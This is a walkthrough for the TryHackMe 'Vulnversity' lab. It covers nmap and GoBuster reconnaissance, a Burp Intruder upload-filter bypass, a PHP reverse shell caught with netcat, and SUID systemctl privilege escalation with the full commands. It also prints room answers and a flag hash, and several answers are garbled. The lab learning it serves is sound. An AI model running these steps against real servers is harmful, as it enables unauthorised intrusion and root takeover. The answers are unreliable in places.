Vulnversity

**Task 1 – Deploy the machine**

Connect to our network and deploy this machine

**Task 2 – Reconnaissance**

Gather information about this machine using a network scanning tool called nmap. Check out the Nmap room for more on this!

-----++-----------------

Scan this box: nmap -sV <machine ip>

**NMAP**

nmap is an free, open-source and powerful tool used to discover hosts and services on a computer network. In our example, we are using nmap to scan this machine to identify all services that are running on a particular port. nmap has many capabilities, below is a table summarising some of the functionality it provides.

|  |  |
| --- | --- |
| Nmap flag | **Description** |
| -sV | Attempts to determine the version of the services running |
| -p <x> or -p- | Port scan for port <x> or scan all ports |
| -Pn | Disable host discovery and just scan for open ports |
| -A | Enables OS and version detection, executes in-build scripts for further enumeration |
| -sC | Scan with default nmap script |
| -v | Verbose mode |
| -sU | UDP port scan |
| -sS | TCP SYN porn scan |

**Question:**

1.Scan the box many ports are open?

$ nmap -sv <machine\_IP>

2. What version of squid proxy is running on the machine?

Ans- 3.5.12

3. How many port will nmap scan if the flag -p-400 machine?

Ans - 400

4. Using the nmap if -n what will not resolve?

Ans - DNS

5. What is the most like OS this machine is running?

Ans - Ubuntu

6. What port is the web server running on?

Ans- 3333

**Task 3 – Locating directories using GoBuster**

Using a fast directory discover tool called GoBuster you will locate a directory that you can use to upload a shell to.

Lets first start of by scanning the website to find any hidden directories. To do this, we're going to use GoBuster.

GoBuster is a tool used to brute-force URIs (directories and files), DNS subdomains and virtual host names. For this machine, we will focus on using it to brute-force directories.

To get started, you will need a wordlist for GoBuster (which will be used to quickly go through the wordlist to identify if there is a public directory available. If you are using Kali Linux you can find many wordlists under /usr/share/wordlists.

Now lets run GoBuster with a wordlist: gobuster dir -u http://<ip>:3333 -w <wordlist>

|  |  |
| --- | --- |
| GoBuster flag | Description |
| -e | Print the full URL in your console |
| -u | The target URL |
| -w | Path to your wordlist |
| -U and -P | Username and Password for Basic Auth |
| -p <x> | Proxy to use for requests |
| -c <http cookies> | Specify a cookie for simulating your auth |

Q. What is the directory that has an upload from page?

Ans – gobuster dir -u <http://10.10.177.39:3333> -w /usr/share/wordlists/dirbuster/directory-list-small.txt

Flag - /internal/

**Task 4 – Compromise the webserver**

Now you have found a form to upload files, we can leverage this to upload and execute our payload that will lead to compromising the web server.

Q1. Try upload a few file types to the server, what common extension seems to be blocked?

Ans – When get upload in a /upload dirc then you only can upload .php file

Flag - .php

Q2. To identify which extensions are not blocked, we're going to fuzz the upload form.

To do this, we're going to use BurpSuite.

We're going to use Intruder (used for automating customised attacks).

To begin, make a wordlist with the following extensions in:

.php

.php3

.php4

.php5

.phtml

Now make sure BurpSuite is configured to intercept all your browser traffic. Upload a file, once this request is captured, send it to the Intruder. Click on "Payloads" and select the "Sniper" attack type.

Click the "Positions" tab now, find the filename and "Add §" to the extension. It should look like so:

Run this attack, what extension is allowed?

Ans - .phtml

Now we know what extension we can use for our payload we can progress.

We are going to use a PHP reverse shell as our payload. A reverse shell works by being called on the remote host and forcing this host to make a connection to you. So you'll listen for incoming connections, upload and have your shell executed which will beacon out to you to control!

1. Edit the php-reverse-shell.php file and edit the ip to be your tun0 ip (you can get this by going to http://10.10.10.10 in the browser of your TryHackMe connected device).
2. Rename this file to php-reverse-shell.phtml
3. We're now going to listen to incoming connections using netcat. Run the following command: nc -lvnp 1234
4. Upload your shell and navigate to http://<ip>:3333/internal/uploads/php-reverse-shell.phtml - This will execute your payload
5. You should see a connection on your netcat session

Q.3 What is name of the user who manages the webserver?

Ans- cd home user directory

Flag - bill

Q4. What is the user flag?

Ans – move to $cd /home/bill/ then cat user.txt

Flag - 8bd7992fbe8a6ad22a63361004cfcedb

**Task 5 – Privilege Escalation**

Now you have compromised this machine, we are going to escalate our privileges and become the superuser (root).

In Linux, SUID (set owner userId upon execution) is a special type of file permission given to a file. SUID gives temporary permissions to a user to run the program/file with the permission of the file owner (rather than the user who runs it).

Q1. On the system, search for all SUID files. What file stands out?

Ans - find / -perm -u=s -type f 2>/dev/null

Flag - /bin/systemctl

Q2. Its challenge time! We have guided you through this far, are you able to exploit this system further to escalate your privileges and get the final answer?

Become root and get the last flag (/root/root.txt)

Take a look at [systemctl | GTFOBins](https://gtfobins.github.io/gtfobins/systemctl/#suid)

<https://gtfobins.github.io/gtfobins/systemctl/#suid>

ExecStart = /bin/sh -c "chmod +s /bin/bash"

TF2=$(mktemp).service

echo '[Service]

Type=oneshot

ExecStart=/bin/sh -c "chmod +s /bin/bash"

[Install]

WantedBy=multi-user.target' > $TF2

/bin/systemctl link $TF2

/bin/systemctl enable --now $TF2

/bin/bash -p

Now cat root.txt